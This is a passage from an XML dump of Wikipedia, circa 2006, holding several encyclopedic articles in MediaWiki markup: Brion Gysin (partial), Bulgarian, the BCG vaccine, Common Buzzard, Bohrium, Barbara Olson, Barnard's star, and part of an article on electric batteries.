*''The Third Mind'' (with William S. Burroughs) (Viking, New York, 1978)
*''Here To Go'' (Interviews with Terry Wilson) (Quartet Books, London, 1982)
*''Stories'' (Inkblot Publications, 1984)
*''The Last Museum'' (Grove Press, New York, 1986)
*''Who Runs May Read'' (Inkblot/Xochi, Oakland/Brisbane, 2000)

==External links==
* [http://www.joujouka.net/ Master Musicians of Joujouka]
* [http://www.joeambrose.net/ Joe Ambrose / Hamri / Joujouka]
*[http://www.languageisavirus.com/ Language Is A Virus] online cut-up machine, the cut-up method of Brion Gysin


[[Category:1916 births|Gysin, Brion]]
[[Category:1986 deaths|Gysin, Brion]]
[[Category:Contemporary painters|Gysin, Brion]]

[[fr:Brion Gysin]]</text>
    </revision>
  </page>
  <page>
    <title>Bulgarian</title>
    <id>4190</id>
    <revision>
      <id>41502444</id>
      <timestamp>2006-02-27T20:22:12Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/134.151.40.3|134.151.40.3]] ([[User talk:134.151.40.3|talk]]) to last version by Tedernst</comment>
      <text xml:space="preserve">The word '''Bulgarian''' can mean:

* [[Bulgaria]], from or related to 
* [[Bulgarian language]]
* [[Bulgarians]], ethnic group
* [[Bulgarian cuisine]]
* [[Bulgarian customs]]
* [[Bulgarian_(slang)]], a British term 
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bacillus Calmette-Guérin</title>
    <id>4191</id>
    <revision>
      <id>36667995</id>
      <timestamp>2006-01-25T18:06:12Z</timestamp>
      <contributor>
        <username>ZwoBot</username>
        <id>332929</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ja</comment>
      <text xml:space="preserve">'''Bacillus of Calmette and Guérin''' ('''BCG''') is a [[vaccination|vaccine]] against [[tuberculosis]] that is prepared from a strain of the attenuated (weakened) live bovine tuberculosis bacillus, ''[[Mycobacterium bovis]]'' that has lost its virulence in [[human]]s by specially culturing in artificial medium for years. The bacilli have retained enough strong antigenicity to become an effective vaccine for the prevention of human tuberculosis.

==History==
[[Albert Calmette]], a French bacteriologist, and his assistant and later colleague, [[Camille Guérin]], a veterinarian, were working at the [[Pasteur Institute]] in [[Lille]] in [[1908]].  Their work included the subculturing of virulent strains of the tuberculosis bacillus and the testing of different culture media. They noted that a glycerin-bile-potato mixture grew bacilli that seemed less virulent. They changed the course of their research to see if repeated subculturing would produce a strain that was attenuated to be considered for use as a vaccine.  Throughout [[World War I]], the research continued until [[1919]] when the now non-virulent bacilli were unable to cause tuberculosis disease in research animals.  They transferred to the Paris [[Pasteur Institute]] in [[1919]].  In [[1921]], the BCG vaccine was developed for human use. 

In [[1928]] it was adopted by the Health Committee of the [[League of Nations]].  However, because of opponents of vaccination, it was not widely used until after [[World War II]].  From [[1945]] to [[1948]], relief organizations (International Tuberculosis Campaign or Joint Enterprises) vaccinated over 8 million babies in [[eastern Europe]] and prevented the predicted increase of TB after a major war. 

The vaccine proved to be the safest and the most widely used vaccine. It has an efficacy of between 50 and 80 percent, depending on the natural occurrence of other forms of [[mycobacteria]] other than [[mycobacterium tuberculosis]] in the environment in which a person lives.

==Uses==
The main use of BCG is for vaccination against tuberculosis. It is not currently recommended in developed countries as routine childhood vaccination because the incidence of tuberculosis tends to be much lower in these areas, with the exception of the UK, where it is routinely given to children aged 14 to 15. 
It is recommended that the BCG vaccination is be given intradermally by a nurse skilled in the technique.

Having had a previous BCG vaccination will affect a [[Mantoux test]] result: it is generally positive, although a very high-grade reading is usually due to active disease.

A more novel use for BCG is in the treatment of superficial forms of [[bladder cancer]]. Since the late [[1980s]] evidence has become available that intravesical instillation with BCG is an effective form of [[immunotherapy]] in this disease (Lamm ''et al'' 1991). While the exact mechanism remains unclear, it appears that a local immune reaction is mounted against the tumor.

BCG is also finding use as an immunotherapy agent in treatment of [[colorectal cancer]] (Mosolits ''et al'') and the treatment of [[equine sarcoid]] in horses.

==See also==
* [[Heaf test]]
* [[Mantoux test]]
* [[Tuberculosis]]

==References==
*Thomas Dormandy (1999). ''The White Death: A History of Tuberculosis''. Chapter 30 Vaccines.  ISBN 0814719279 HB - ISBN 1852853328 PB
*Comstock GW. ''The International Tuberculosis Campaign: a pioneering venture in mass vaccination and research.'' Clin Infect Dis 1994;19(3):528-40. PMID 95110996.
* Lamm DL, Blumenstein BA, Crawford ED, Montie JE, Scardino P, Grossman HB, Stanisic TH, Smith JA Jr, Sullivan J, Sarosdy MF, et al. ''A randomized trial of intravesical doxorubicin and immunotherapy with bacille Calmette-Guerin for transitional-cell carcinoma of the bladder.'' N Engl J Med 1991;325:1205-9. PMID 192220.
* Mosolits S, Nilsson B, Mellstedt H. ''Towards therapeutic vaccines for colorectal carcinoma: a review of clinical trials.'', Expert Rev. Vaccines, 2005;4:329-50. PMID [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16026248&amp;query_hl=2 16026248]

{{vaccines}}

[[Category:Vaccines]]
[[Category:Tuberculosis]]

[[de:Bacillus Calmette-Guérin]]
[[es:BCG]]
[[fr:Bacille de Calmette et Guérin]]
[[nl:BCG-vaccin]]
[[ja:BCG]]
[[pl:BCG]]
[[fi:BCG-rokote]]
[[zh:卡介苗]]</text>
    </revision>
  </page>
  <page>
    <title>Bunsen</title>
    <id>4192</id>
    <revision>
      <id>15902482</id>
      <timestamp>2002-08-11T20:04:57Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Robert Bunsen]]</text>
    </revision>
  </page>
  <page>
    <title>Common Buzzard</title>
    <id>4193</id>
    <revision>
      <id>41346862</id>
      <timestamp>2006-02-26T19:23:24Z</timestamp>
      <contributor>
        <username>Guaca</username>
        <id>120752</id>
      </contributor>
      <comment>+no</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Common Buzzard
| image = Combuzzard.JPG
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Bird|Aves]]
| ordo = [[Falconiformes]]
| familia = [[Accipitridae]]
| genus = '''''[[Buteo]]'''''
| species = '''''B. buteo'''''
| binomial = ''Buteo buteo''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}

The '''Common Buzzard''' (''Buteo buteo'') is a [[bird of prey]] from the [[Old World]]. It is typically between 51-57 cm in length with a 110 to 130 cm wingspan, making it a medium-sized [[Bird of prey|raptor]]. Its range covers most of [[Europe]] and extends into [[Asia]]. It is resident except in the coldest parts of its range.

It breeds in woodland, but usually hunts over open land. It eats mainly small [[mammal]]s, and will come to [[carrion]].

Buzzards are the largest bird of prey to be found in most of [[England]]. They are increasing their range in [[Great Britain]], and spreading east from their former western strongholds.

Buzzards do not normally form flocks, but several may be seen together on [[Bird migration|migration]] or in good habitat. The Victorian writer on [[Dartmoor]], [[William Crossing]], noted that he had on occasions seen flocks of 15 or more at some places.

This broad-winged raptor has a wide variety of plumages, and in Europe can be confused with the similar [[Honey Buzzard]] (''Pernis apivorus'') and [[Rough-legged Buzzard]] (''Buteo lagopus'').

The call is a plaintive ''peea-ay''.

----

In North America, the term &quot;[[buzzard]]&quot; refers solely  to [[vulture]]s, and in particular the [[Turkey Vulture]] (''Cathartes aura'').  The term &quot;buzzard&quot; only applies to birds of prey when intended as a derogatory epithet, specifically for raptors that are considered pests, such as the [[Red-tailed Hawk]]s and [[Peregrine Falcon]]s.


{{Commons|Buteo buteo}}
&lt;br clear=&quot;all&quot;&gt;
==Gallery==
&lt;gallery&gt;
Image:Buteo_buteo_1_(Marek_Szczepanek).jpg|Common Buzzard
Image:Buteo_buteo_2_(Marek_Szczepanek).jpg|Common Buzzard
Image:Buteo_buteo_3_(Marek_Szczepanek).jpg|Common Buzzard
Image:Buteo_buteo_4_(Marek_Szczepanek).jpg|Common Buzzard
Image:Buteo_buteo_5_(Marek_Szczepanek).jpg|Common Buzzard
Image:Buteo_buteo_6_(Marek_Szczepanek).jpg|Common Buzzard
&lt;/gallery&gt;


[[Category:Birds of prey]]
[[Category:Buteoninae]]

[[bg:Обикновен мишелов]]
[[cs:Káně lesní]]
[[cy:Bwncath]]
[[da:Musvåge]]
[[de:Mäusebussard]]
[[eo:Buteo]]
[[fr:Buse variable]]
[[fy:Mûzebiter]]
[[ko:말똥가리]]
[[he:עקב חורף]]
[[lt:Paprastasis suopis]]
[[nl:Buizerd]]
[[no:Musvåk]]
[[ja:ノスリ]]
[[pl:Myszołów zwyczajny]]
[[pt:Águia-de-asa-redonda]]
[[sk:Myšiak lesný]]
[[sl:Kanja]]
[[fi:Hiirihaukka]]
[[sv:Ormvråk]]
[[tr:Bayağı şahin]]</text>
    </revision>
  </page>
  <page>
    <title>Bohrium</title>
    <id>4194</id>
    <revision>
      <id>41316924</id>
      <timestamp>2006-02-26T14:45:02Z</timestamp>
      <contributor>
        <username>Siffler</username>
        <id>650561</id>
      </contributor>
      <text xml:space="preserve">{{Elementbox_header | number=107 | symbol=Bh | name=bohrium | left=[[seaborgium]] | right=[[hassium]] | above=[[rhenium|Re]] | below=(Ups) | color1=#ffc0c0 | color2=black }}
{{Elementbox_series | [[transition metal]]s }}
{{Elementbox_groupperiodblock | group=7 | period=7 | block=d }}
{{Elementbox_appearance | unknown, probably silvery&lt;br /&gt;white or metallic gray }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(264)]] }}
{{Elementbox_econfig | perhaps &amp;#91;[[radon|Rn]]&amp;#93; 5f&lt;sup&gt;14&lt;/sup&gt; 6d&lt;sup&gt;5&lt;/sup&gt; 7s&lt;sup&gt;2&lt;/sup&gt;&lt;br /&gt;(guess based on [[rhenium]]) }}
{{Elementbox_epershell | 2, 8, 18, 32, 32, 13, 2 }}
{{Elementbox_phase | presumably a [[solid]] }}
{{Elementbox_cas_number | 54037-14-8 }}
{{Elementbox_footer | color1=#ffc0c0 | color2=black }}

'''Bohrium''' (Eka-Rhenium) is a [[chemical element]] in the [[periodic table]] that has the symbol Bh and [[atomic number]] 107. It is a [[synthetic element]] whose most stable [[isotope]], Bh-262, has a [[half-life]] of [[1 E-1 s|102 ms]].

== History ==
It was [[discovery of the chemical elements|synthesized]] in [[1976]] by a [[Soviet Union|Soviet]] team led by Y. Oganessian at the Joint Institute for Nuclear Research at [[Dubna]], who produced isotope &lt;sup&gt;261&lt;/sup&gt;Bh with a half-life of 1-2 ms (later data give a half life of around 10 ms).  
They did this by bombarding [[bismuth]]-204 with heavy nuclei of [[chromium]]-54.

In [[1981]] a [[Germany|German]] research team led by [[Peter Armbruster]] and [[Gottfried Münzenberg]] at the [[Gesellschaft für Schwerionenforschung]] (Institute for Heavy Ion Research) at Darmstadt were also able to confirm the Soviet team's results and produce bohrium, this time the longer-lived Bh-262.

The Germans suggested the name nielsbohrium to honor the Danish physicist [[Niels Bohr]]. The Soviets had suggested this name be given to element 105 ([[dubnium]]).

There was an [[element naming controversy]] as to what the elements from 101 to 109 were to be called; thus [[IUPAC]] adopted unnilseptium (symbol Uns) as a temporary, [[systematic element name]] for this element. In [[1994]] a committee of IUPAC recommended that element 107 be named bohrium. 
While this conforms to the names of other elements honoring individuals, where only the surname is taken, it was opposed by many who were concerned that it could be confused with [[boron]]. Despite this, the name bohrium for element 107 was recognized internationally in [[1997]].

==External links==
{{Commons|Bohrium}}
*[http://www.webelements.com/webelements/elements/text/Bh/index.html WebElements.com - Bohrium]
*[http://www.apsidium.com/elements/107.htm Apsidium - Bohrium]
*[http://periodic.lanl.gov/elements/107.html Los Alamos National Laboratory - Bohrium]

[[Category:Chemical elements]]
[[Category:Transition metals]]

[[ar:بوريوم]]
[[ca:Bohri]]
[[cs:Bohrium]]
[[de:Bohrium]]
[[et:Bohrium]]
[[es:Bohrio]]
[[eo:Borio]]
[[fr:Bohrium]]
[[gl:Bohrio (elemento)]]
[[ko:보륨]]
[[hr:Bohrij]]
[[it:Bohrio]]
[[ku:Bohriyûm]]
[[lt:Boris]]
[[hu:Bohrium]]
[[nl:Bohrium]]
[[ja:ボーリウム]]
[[nn:Bohrium]]
[[pl:Bohr (pierwiastek)]]
[[pt:Bóhrio]]
[[ru:Борий]]
[[sr:Боријум]]
[[fi:Bohrium]]
[[sv:Bohrium]]
[[th:บอห์เรียม]]
[[uk:Борій]]
[[zh:𨨏]]</text>
    </revision>
  </page>
  <page>
    <title>Barbara Olson</title>
    <id>4195</id>
    <revision>
      <id>42023920</id>
      <timestamp>2006-03-03T07:41:17Z</timestamp>
      <contributor>
        <username>Genidealingwithfairuse</username>
        <id>1003343</id>
      </contributor>
      <comment>rm fair use image that clearly isn't</comment>
      <text xml:space="preserve">'''Barbara Olson''' ([[December 27]], [[1955]] &amp;ndash; [[September 11]], [[2001]]) was a [[conservative]] [[United States|American]] [[television]] commentator who worked for [[FOX News]], [[CNN]] and several other outlets. 

Olson was born '''Barbara Kay Bracher''' in [[Houston, Texas]]. (Her older sister, Toni Bracher-Lawrence, has been a member of the Houston City Council since 2004.)  She earned a Bachelor of Arts from the [[University of Saint Thomas (Texas)]] and a [[Juris Doctor]] degree from Yeshiva University [[Benjamin N. Cardozo School of Law]]. In the early 1990s, she worked as an associate at the Washington-based law firm of Wilmer, Cutler &amp; Pickering before marrying [[United States Solicitor General]], [[Theodore Olson]] in 1997.

In the mid-1990s she was a chief investigator for the House Government Reform Committee - and later a staff lawyer for Senate Minority Whip [[Don Nickles]] - before branching out as a TV commentator and private lawyer. She was a frequent critic of the [[Clinton administration]] and wrote a book about First Lady [[Hillary Clinton]], ''Hell to Pay: The Unfolding Story of Hillary Rodham Clinton''. She was working on her second book, '''The Final Days: The Last, Desperate Abuses of Power by the Clinton White House''' (published December 2001) at the time of her death.

She was a passenger on [[American Airlines Flight 77]] on her way to a taping of ''[[Politically Incorrect]]'' in [[Los Angeles]] (host [[Bill Maher]] left a panel seat vacant during the first month the show aired after the attacks), when it was flown into [[the Pentagon]] in the [[September 11, 2001 attacks]]. She had been scheduled to take a different flight, but cancelled and booked herself on that particular flight on that Tuesday in order to celebrate her husband's birthday on Monday, [[September 10]]. (Her husband's birthday is actually [[September 11]].)

She had reported the hijacking to her husband twice with her cell phone about 20 minutes before the plane hit the Pentagon, reportedly asking him &quot;What should I do?&quot;.

She was the subject of a eulogy by her husband, [[Theodore Olson]], at the [[Federalist Society]] on [[November 16]], [[2001]]. The occasion was the launching of the annual '''Barbara K. Olson Memorial Lectures'''. These lectures have a theme of &quot;Limited Government and the Spirit of Freedom&quot;, to quote from the Society's website.

:''See also: [[:sep11:|In Memoriam: September 11, 2001 wiki]].''

[[Category:1955 births|Olson, Barbara]]
[[Category:2001 deaths|Olson, Barbara]]
[[Category:American television personalities|Olson, Barbara]]
[[Category:American lawyers|Olson, Barbara]]
[[Category:American writers|Olson, Barbara]]
[[Category:Murdered writers|Olson, Barbara]]
[[Category:Political writers|Olson, Barbara]]
[[Category:People from Texas|Olson, Barbara]]
[[Category:Victims of the September 11, 2001 attacks|Olson, Barbara]]

==External links==
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=6048175&amp;ptBarbara%20Olson Barbara Olson] at [http://www.findagrave.com Find A Grave]</text>
    </revision>
  </page>
  <page>
    <title>Barnard's star</title>
    <id>4196</id>
    <revision>
      <id>41940137</id>
      <timestamp>2006-03-02T19:44:05Z</timestamp>
      <contributor>
        <username>Gcapp1959</username>
        <id>298824</id>
      </contributor>
      <comment>Flare date</comment>
      <text xml:space="preserve">{{Starbox begin |
   name=Barnard's star }}
{{Starbox observe |
  epoch=J2000 |
  constell=[[Ophiuchus]] |
  ra=17h 57m 48.5s |
  dec=+04&amp;deg; 41' 36&quot; |
  appmag_v=9.57 }}
{{Starbox character |
  class=M4 V |
  b-v=1.74 |
  u-b=1.28 |
  variable=''Suspected'' }}
{{Starbox astrometry |
  radial_v=-110.8 |
  prop_mo_ra=-797.84 |
  prop_mo_dec=10326.93 |
  parallax=546.98 |
  p_error=1.00 |
  dist_ly=5.96 |
  dist_pc=1.828 |
  absmag_v=13.26 }}
{{Starbox detail|
  age=~1.0 &amp;times; 10&lt;sup&gt;10&lt;/sup&gt; |
  metal=10-32% Sun |
  mass=0.17 |
  radius=0.15-0.20 |
  rotation=130.4 days |
  luminosity=0.0004 |
  temperature=3,000 }}
{{Starbox catalog |
  names=[[Bonner Durchmusterung|BD]]+04&amp;deg;3561a, [[General Catalogue of Trigonometric Parallaxes|GCTP]] 4098.00, [[Gliese-Jahreiss catalogue|GJ]] 699, [[Luyten Half-Second catalogue|LHS]] 57, Munich 15040, [[Henry Lee Giclas|Gl]] 140-024, LTT 15309, LFT 1385, [[Alexander N. Vyssotsky|Vyssotsky]] 799, and [[Hipparcos Catalogue|HIP]] 87937. }}
{{Starbox end}}
'''Barnard's star''' is a [[star]] in the [[constellation]] [[Ophiuchus]] which is notable for having the largest [[proper motion]] (10.3&quot; per year) of any star relative to the [[Sun]]. This large proper motion was discovered by the [[astronomer]] [[Edward Emerson Barnard|E. E. Barnard]] in [[1916]].

Lying at a distance of about 1.8 [[parsec|pc]] or 5.96 [[light-year|ly]], Barnard's star is the [[List of nearest stars|fifth closest]] known star to Earth. Only the [[Sun]] and the three components of the [[Alpha Centauri]] system are closer. But Barnard's star is a [[red dwarf]] ([[spectral type]] M4), so despite its proximity it is too faint to see without a [[telescope]] or powerful binoculars. Its [[apparent magnitude]] is 9.57.  Although Barnard's star was long thought to be a quiescent, old star, astronomers recently reported a [[flare]] that was observed in 1998 (but not regarded as important by the planet-seeking astronomer who observed it), making it a surprising [[flare star]].(1) 

The proper motion at this distance corresponds to a relative lateral speed of 90 km/s.

Its closest neighbour is [[Ross 154]], 1.66 pc or 5.41 ly away.

Barnard's star is also known as [[Bonner Durchmusterung|BD]]+04°3561a, [[Hipparcos Catalogue|HIP]] 87937, Munich 15040, [[Alexander N. Vyssotsky|Vyssotsky]] 799, [[Luyten Half-Second Catalogue|LHS]] 57, [[General Catalogue of Trigonometric Parallaxes|GCTP]] 4098.00, [[Henry Lee Giclas|G]] 140-024 and various other technical names.

===Supposed planets===
For many years from [[1963]] onwards, a substantial number of astronomers accepted a claim by [[Peter van de Kamp]] that he had detected a perturbation in the proper motion of Barnard's star consistent with its having one or more planets comparable in mass with [[Jupiter (planet)|Jupiter]].  When independent data were collected in the [[1980s]], this conclusion came to be disputed and the consensus is now that van de Kamp's claim was erroneous.  During the period that the claim was accorded credibility, it contributed to the star's fame among the [[science fiction]] community and the star's adoption as a target for [[Project Daedalus]] (The [[British Interplanetary Society]]'s proposal for an   interstellar space probe).

==Barnard's Star in fiction==

In [[Douglas Adams]]'s ''[[The Hitchhiker's Guide to the Galaxy]]'', Barnard's Star is a way station for interstellar travellers.

==See also==
* [[List of nearest stars]]

==References==
*[http://www.astronomy.com/asy/default.aspx?c=a&amp;id=3658 (1) Astronomy.com:  A Flare for Barnard's Star]
* [[Edward Emerson Barnard|E. E. Barnard]], ''A small star with large proper motion'', [http://adsabs.harvard.edu//full/seri/AJ.../0029//0000181.000.html Astronomical Journal '''29''' (1916) 181&amp;ndash;183] (1916AJ.....29..181B)

==External links==
*[http://www.solstation.com/stars/barnards.htm SolStation.com: Barnard's Star]
*[http://www.ari.uni-heidelberg.de/aricns/cnspages/4c01453.htm ARICNS 4C01453] &amp;ndash; technical data for Barnard's Star

[[Category:Ophiuchus constellation]]
[[Category:HIP objects|87937]]
[[Category:Red dwarfs]]

[[ca:Estel de Barnard]]
[[cs:Barnardova šipka]]
[[de:Barnards Pfeilstern]]
[[es:Estrella de Barnard]]
[[fr:Étoile de Barnard]]
[[it:Stella di Barnard]]
[[hu:Barnard-csillag]]
[[nl:Ster van Barnard]]
[[ja:バーナード星]]
[[no:Barnards stjerne]]
[[pl:Gwiazda Barnarda]]
[[ru:Звезда Барнарда]]
[[sk:Barnardova hviezda]]
[[sv:Barnards stjärna]]</text>
    </revision>
  </page>
  <page>
    <title>Battery (electricity)</title>
    <id>4198</id>
    <revision>
      <id>41975871</id>
      <timestamp>2006-03-03T00:09:28Z</timestamp>
      <contributor>
        <ip>24.5.203.246</ip>
      </contributor>
      <comment>/* Electrical component */</comment>
      <text xml:space="preserve">:''For other uses, see [[battery (disambiguation)]].''
[[Image:Four AA batteries.jpg|thumb|right|250px|Four double-A (AA) rechargeable batteries]]
In science and technology, a '''battery''' is a device that stores [[energy]] and makes it available in an electrical form. Batteries consist of [[electrochemistry|electrochemical]] devices such as one or more [[galvanic cell]]s (or, more recently, [[fuel cell]]s).  The earliest known artefacts that may have been batteries are the ''[[Baghdad Battery|Baghdad Batteries]]'', from some time between [[250 BCE]] and [[640 CE]]. The modern development of batteries started with the [[Voltaic pile]] developed by the Italian physicist [[Alessandro Volta|Alessandro Volta]] in [[1800]]. The worldwide battery industry generates 48 billion dollars in sales annually [http://www.dfj.com/cgi-bin/artman/publish/article_141.shtml (2005 estimate)].

==Cell vs. battery==
Strictly, an electrical &quot;battery&quot; is an interconnected array of one or more similar &quot;cells&quot;. That distinction, however, is considered [[Wiktionary:pedantic|pedantic]] in most contexts (other than the expression ''[[dry cell]]''), and in current English usage it is more common to call a single cell used on its own a ''battery'' than a ''cell''. For example, a hand lamp (flashlight) (torch) is said to take one or more &quot;batteries&quot; even though they may be D cells. A [[car battery]] is a true &quot;battery&quot; because it uses multiple cells. Multiple batteries or cells may also be refered to as a [[battery pack]], such as a set of multi-cell 12 V batteries in an [[electric vehicle]].

==Electrical component==
[[image:Battery_symbols_and_circuit.png|thumb|369px|Circuit symbol for a battery; simplified electrical model; and more complex but still incomplete model (the series capacitor has an extremely large value and, as it charges, simulates the discharge of the battery).]]

The cells in a battery can be connected in parallel, series, or in both.  A parallel combination of cells has the same [[voltage]] as a single cell, but can supply a higher [[Current (electricity)|current]] (the sum of the currents from all the cells).  A series combination has the same current rating as a single cell but its voltage is the sum of the voltages of all the cells. Most practical electrochemical batteries, such as 9 [[volt]] flashlight (torch) batteries and 12 V [[automobile]] (car) batteries, have a series structure.  Parallel arrangements suffer from the problem that, if one cell discharges faster than its neighbour, current will flow from the full cell to the empty cell, wasting power and possibly causing overheating.  Even worse, if one cell becomes short-circuited due to an internal fault, its neighbour will be forced to discharge its maximum current into the faulty cell, leading to overheating and possibly explosion.  Cells in parallel are therefore usually fitted with an electronic circuit to protect them against these problems.  In both series and parallel types, the energy stored in the battery is equal to the sum of the energies stored in all the cells.

A battery can be simply modelled as a perfect voltage source (i.e. one with zero internal [[electrical resistance|resistance]]) in series with a [[resistor]].  The voltage source depends mainly on the chemistry of the battery, not on whether it is empty or full.  When a battery runs down, its internal [[electrical resistance|resistance]] increases.  When the battery is connected to a load (e.g. a [[light bulb]]), which has its own resistance, the resulting voltage across the load depends on the ratio of the battery's [[internal resistance]] to the resistance of the load.  When the battery is fresh, its internal resistance is low, so the voltage across the load is almost equal to that of the battery's internal voltage source. As the battery runs down and its internal resistance increases, the proportion of its internal voltage that gets through the internal resistance to appear at the load gets smaller, so the battery's ability to deliver [[Electric power|power]] to the load decreases.

==Battery concepts==
===Battery capacity===
The capacity of a battery to store charge is often expressed in '''[[ampere]] hours''' (1 A&amp;middot;h = 3600 [[coulomb]]s).  If a battery can provide one ampere (1&amp;nbsp;A) of current (flow) for one hour, it has a ''real-world'' capacity of 1&amp;nbsp;A&amp;middot;h.  If it can provide 1&amp;nbsp;A for 100&amp;nbsp;hours, its capacity is 100&amp;nbsp;A&amp;middot;h.  Because of the chemical reactions within the cells, the capacity of a battery depends on the discharge conditions such as the magnitude of the current, the duration of the current, the allowable terminal voltage of the battery, temperature, and other factors.

Battery manufacturers use a standard method to determine how to rate their batteries.   The battery is discharged at a constant rate of current over a fixed period of time, such as 10 hours or 20  hours, down to a set terminal voltage per cell. So a 100&amp;nbsp;ampere-hour battery is rated to provide 5&amp;nbsp;A for 20&amp;nbsp;hours at room temperature.  The efficiency of a battery is different at different discharge rates.  When discharging at low rate, the battery's energy is delivered more efficiently than at higher discharge rates. This is [[Peukert's Law]].

===Battery lifetime===
Disposable alkaline batteries are designed to be used only once.  Even if never taken out of the original package, disposable (or &quot;primary&quot;) batteries can lose two to twenty-five percent of their original charge every year, depending heavily on temperature.  This is known as the &quot;self discharge&quot; rate and is due to chemical reactions that occur within the cell even if no load is applied to it.

Many people believe that storing batteries at cool temperatures, such as in the refrigerator, reduces the rate of these side reactions and extends the storage life of the battery -- this may have been true in the past with older technology batteries. Modern batteries should be stored in a dry place and at normal room temperatures. Also, some brands of batteries (like [[Duracell]] or [[Energizer]]) will provide dependable long life even after 5 years of storage in these conditions.

Extreme temperatures also reduce battery performance.

Some information on caring and disposing of alkaline batteries can be read [http://www.duracell.com/care_disposal/care.asp here] and [http://www.energizer.com/learning/batterycare.asp here].

Rechargeable batteries self-discharge more rapidly than disposable alkaline batteries. In fact, they can self-discharge up to three percent a ''day'' (again, depending on temperature). Due to their poor shelf life, they shouldn't be left in a drawer and then relied upon to power a flashlight or a small radio in an emergency. For this reason, it’s a good idea to keep a few alkaline batteries on hand. In fact, Ni-Cd Batteries are almost always &quot;dead&quot; when you get them, and need to be charged before first use.

With the exception of lead-acid batteries, most Ni-MH batteries can be recharged 500-1000 times while Ni-Cd batteries can only be recharged about 400 times.

Special &quot;reserve&quot; batteries intended for long storage in emergency equipment or munitions keep the electrolyte of the battery separate from the plates until the battery is activated, allowing the cells to be filled with the electrolyte. Shelf times for such batteries can be years or decades. However, their construction is more expensive than more common forms.

====Terms used for automobile battery power ratings====
: see [[Car battery]]

===Battery explosion===
Under extreme conditions, certain types of batteries can explode. A battery explosion is usually caused by the misuse or malfunction of a battery (such as the recharging of a non-rechargeable battery or shorting a car battery).

With car batteries, explosions are most likely to occur when a short circuit generates very large currents. A short circuit malfunction in a battery placed in parallel with other batteries (&quot;jumped&quot;) can cause its neighbour to discharge its maximum current into the faulty cell, leading to overheating and possible explosion.  In addition, car batteries liberate hydrogen when they are overcharged (because of [[electrolysis]] of the water in the electrolyte). Normally the amount of overcharging is very small and so is the amount of explosive gas developed, and the gas dissipates quickly.  However, when &quot;jumping&quot; a car battery, the high current can cause the rapid release of large volumes of hydrogen, which could be ignited by a spark nearby (for example, when removing the jumper cables).

When a non-rechargeable battery is recharged at a high rate, an explosive gas mixture of hydrogen and oxygen may be produced faster than it can escape from within the walls of the battery, leading to pressure build-up and a possible explosion. In extreme cases, the battery acid may spray violently from the casing of the battery and cause injury.

Additionally, disposing of a battery in fire may cause an explosion as steam builds up within the sealed case of the battery.

Overcharging, which is charging a battery beyond its electrical capacity, can also lead to a battery explosion, leakage, or irreversible damage to the battery. It may also cause damage to the charger or device in which the overcharged battery is later used.

==Common battery types==
===Rechargeable and disposable batteries===
[[image:batteries.jpg|framed|Various batteries(clockwise from bottom left): two 9-volt, two &quot;AA&quot;, one &quot;D&quot;, a cordless phone battery, a camcorder battery, a 2-meter handheld ham radio battery, and a button battery, one &quot;C&quot; and two &quot;AAA&quot; plus, a U.S. quarter, for scale]]

From a user's viewpoint, at least, batteries can be generally divided into two main types&amp;mdash;'''[[rechargeable battery|rechargeable]]''' and '''non-rechargeable''' (disposable). Each is in wide usage.

Disposable batteries, also called '''primary cells''', are intended to be used once, until the chemical changes that induce the electrical current supply are complete, at which point the battery is discarded. These are most commonly used in smaller, portable devices with either low current drain, only used intermittently, or used well away from an alternative power source. Primary cells can be recharged with varying degrees of success using a specialised charging technique called [[periodic current reversal]] which is a form of biased AC (i.e. alternating current with a DC offset) However battery manufacturers don't recommend attempting to recharge primary cells (cynics claim this is for commercial motives) and claim that conventional DC charging of primary cells can present dangers of leakage, overheating and even explosion.

By contrast, rechargeable batteries or '''secondary cells''' can be re-charged after they have been drained. This is done by applying externally supplied electrical current which causes the chemical changes that occur in use to be reversed. Devices to supply the appropriate current are called chargers or rechargers.

The oldest form of rechargeable battery still in modern usage is the &quot;wet cell&quot; [[lead-acid battery]]. This battery is notable in that it contains a liquid in an unsealed container, requiring that the battery be kept upright and the area be well-ventilated to deal with the explosive [[hydrogen]] gas which is  vented by these batteries during overcharging. The lead-acid battery is also very heavy for the amount of electrical energy it can supply. Despite this, its low manufacturing cost and its high surge current levels make its use common where the weight and ease of handling are not concerns.

A common form of lead-acid battery is the modern [[car battery]]. This can deliver about 10,000 [[watt]]s of power for a short period, and has a peak current output that varies from 450 to 1100 [[ampere]]s. The battery's electrolyte includes [[sulfuric acid]], which can cause serious injury if splashed on the skin or eyes.

A more expensive type of lead-acid battery called a '''gel battery''' (or &quot;gel cell&quot;) contains a semi-solid electrolyte to prevent spillage. More portable rechargeable batteries include several &quot;dry cell&quot; types, which are sealed units and are therefore useful in appliances like [[mobile phone]]s and [[laptop]]s. Cells of this type (in order of increasing power density and cost) include [[nickel-cadmium battery|nickel-cadmium]] (NiCd), [[nickel metal hydride battery|nickel metal hydride]] (NiMH), and [[lithium ion battery|lithium-ion]] (Li-Ion) cells.

====Disposable==== 
Non-rechargeable - sometimes called &quot;primary cells&quot;.

* [[Zinc-carbon battery]] - low cost - used in light drain applications
* [[Zinc-chloride battery]] - similar to zinc carbon but slightly longer life
* [[Alkaline battery]] - alkaline/manganese &quot;long life&quot; batteries widely used in both light drain and heavy drain applications
* [[Silver-oxide battery]] - commonly used in hearing aids
* [[Lithium battery]] - commonly used in digital cameras. Sometimes used in watches and computer clocks. Very long life (up to seven years in wristwatches) and capable of delivering high currents but expensive
* [[Mercury battery]] - commonly used in digital watches
* [[Zinc-air battery]] - commonly used in hearing aids

====Rechargeable ====
Also known as secondary batteries or accumulators.

